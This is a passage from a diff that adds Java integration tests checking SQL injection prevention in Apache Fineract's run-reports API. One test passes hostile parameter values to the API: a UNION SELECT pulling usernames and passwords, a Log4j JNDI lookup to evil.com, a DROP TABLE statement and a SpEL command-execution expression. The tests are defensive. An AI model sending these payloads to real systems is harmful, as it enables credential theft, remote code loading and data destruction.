Utils.performServerGet(requestSpec, responseSpec, + "/fineract-provider/api/v1/runreports/" + URLEncoder.encode(input, StandardCharsets.UTF_8) + + "?genericResultSet=false&" + toQueryString(queryParams), + null); + } + return true; + } catch (AssertionError e) { + // 404 is expected for non-existent reports + return e.getMessage().contains("404"); + } catch (Exception e) { + log.error("Error in thread {}: {}", threadId, e.getMessage()); + return false; + } + } + }); + futures.add(future); + } + + executor.shutdown(); + assertTrue(executor.awaitTermination(60, TimeUnit.SECONDS), "All threads should complete within 60 seconds"); + + for (Future future : futures) { + assertTrue(future.get(), "All concurrent operations should succeed or return 404"); + } + + log.info("Concurrent access test completed successfully with {} threads and {} operations per thread", threadCount, + operationsPerThread); + } + + /** + * UC8: Test report parameter injection with complex nested structures + */ + @Test + void uc8_testComplexParameterInjection() { + log.info("Testing complex parameter injection scenarios"); + + // Test various parameter injection patterns that were historically problematic + Map maliciousParams = new HashMap<>(); + maliciousParams.put("R_officeId", "1) UNION SELECT username,password FROM m_appuser WHERE id=1--"); + maliciousParams.put("R_clientId", "${jndi:ldap://evil.com/a}"); // Log4j style injection + maliciousParams.put("R_startDate", "'; DROP TABLE IF EXISTS test; --"); + maliciousParams.put("R_endDate", "#{T(java.lang.Runtime).getRuntime().exec('whoami')}"); // SpEL injection + maliciousParams.put("R_userId", ""); // XSS attempt in parameter + + try { + Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + + "?genericResultSet=false&" + toQueryString(maliciousParams), null); + // If we get here without exception, the response should be safe + log.info("Complex parameter injection prevented - query executed safely"); + } catch (AssertionError e) { + // Should get parameter validation error, not SQL injection + assertFalse(e.getMessage().toLowerCase().contains("syntax error"), "Should not get SQL syntax error. Got: " + e.getMessage()); + assertFalse(e.getMessage().toLowerCase().contains("you have an error in your sql"), + "Should not get SQL error. Got: " + e.getMessage()); + assertFalse(e.getMessage().toLowerCase().contains("table") && e.getMessage().toLowerCase().contains("exist"), + "Should not get table exists error. Got: " + e.getMessage()); + } + } + + /** + * UC9: Test legitimate reports with various parameter types + */ + @ParameterizedTest(name = "Parameter Type: {0}") + @CsvSource(delimiterString = " | ", value = { "R_officeId | 1 | Numeric parameter", "R_startDate | 2023-01-01 | Date parameter", + "R_endDate | 2023-12-31 | Date parameter", "R_currencyId | USD | String parameter", "R_loanProductId | 1 | Numeric parameter" }) + void uc9_testLegitimateParameterTypes(String paramName, String paramValue, String description) { + log.info("Testing legitimate parameter: {} = {} ({})", paramName, paramValue, description); + + Map queryParams = new HashMap<>(); + queryParams.put(paramName, paramValue); + + try { + String response = Utils.performServerGet(requestSpec, responseSpec, + "/fineract-provider/api/v1/runreports/" + TEST_REPORT_NAME + "?genericResultSet=false&" + toQueryString(queryParams), + null); + + // Valid parameters should return data successfully + assertNotNull(response); + + // Should not contain SQL error indicators + assertFalse(response.toLowerCase().contains("syntax error")); + assertFalse(response.toLowerCase().contains("sql exception")); + + log.debug("Legitimate parameter '{}' = '{}' processed successfully", paramName, paramValue); + } catch (AssertionError e) { + // For legitimate parameters, we should not get errors unless it's a data issue + // But definitely not SQL syntax errors + assertFalse(e.getMessage().toLowerCase().contains("syntax error"), + "Should not get SQL syntax error for legitimate parameter. Got: " + e.getMessage()); + assertFalse(e.getMessage().toLowerCase().contains("you have an error in your sql"), + "Should not get SQL error for legitimate parameter. Got: " + e.getMessage()); + + log.info("Parameter validation for '{}' = '{}': {}", paramName, paramValue, e.getMessage()); + } + } + + /** + * UC10: Test cross-database compatibility through API + */ + @Test + void uc10_testCrossDatabaseCompatibility() { + log.info("Testing cross-database compatibility for SQL injection prevention through API"); + + String testInput = "test-input-with-special-chars"; + + Map queryParams = new HashMap<>(); + queryParams.put("R_officeId", "1"); + + try { + Utils.performServerGet(requestSpec, responseSpec, "/fineract-provider/api/v1/runreports/" + + URLEncoder.encode(testInput, StandardCharsets.UTF_8) + "?genericResultSet=false&" + toQueryString(queryParams), null); + } catch (AssertionError e) { + // Should get 404 (report not found) not database-specific errors + assertTrue(e.getMessage().contains("404")); + assertFalse(e.getMessage().toLowerCase().contains("syntax error")); + assertFalse(e.getMessage().toLowerCase().contains("sql")); + + log.info("Cross-database compatibility test passed - got expected 404 response"); + } + } + + /** + * Helper method to convert parameters map to query string + */ + private String toQueryString(Map params) { + StringBuilder sb = new StringBuilder(); + for (Map.Entry entry : params.entrySet()) { + if (sb.length() > 0) { + sb.append("&"); + } + sb.append(entry.getKey()).append("="); + if (entry.getValue() != null) { + sb.append(URLEncoder.encode(entry.getValue(), StandardCharsets.UTF_8)); + } + } + return sb.toString(); + } +}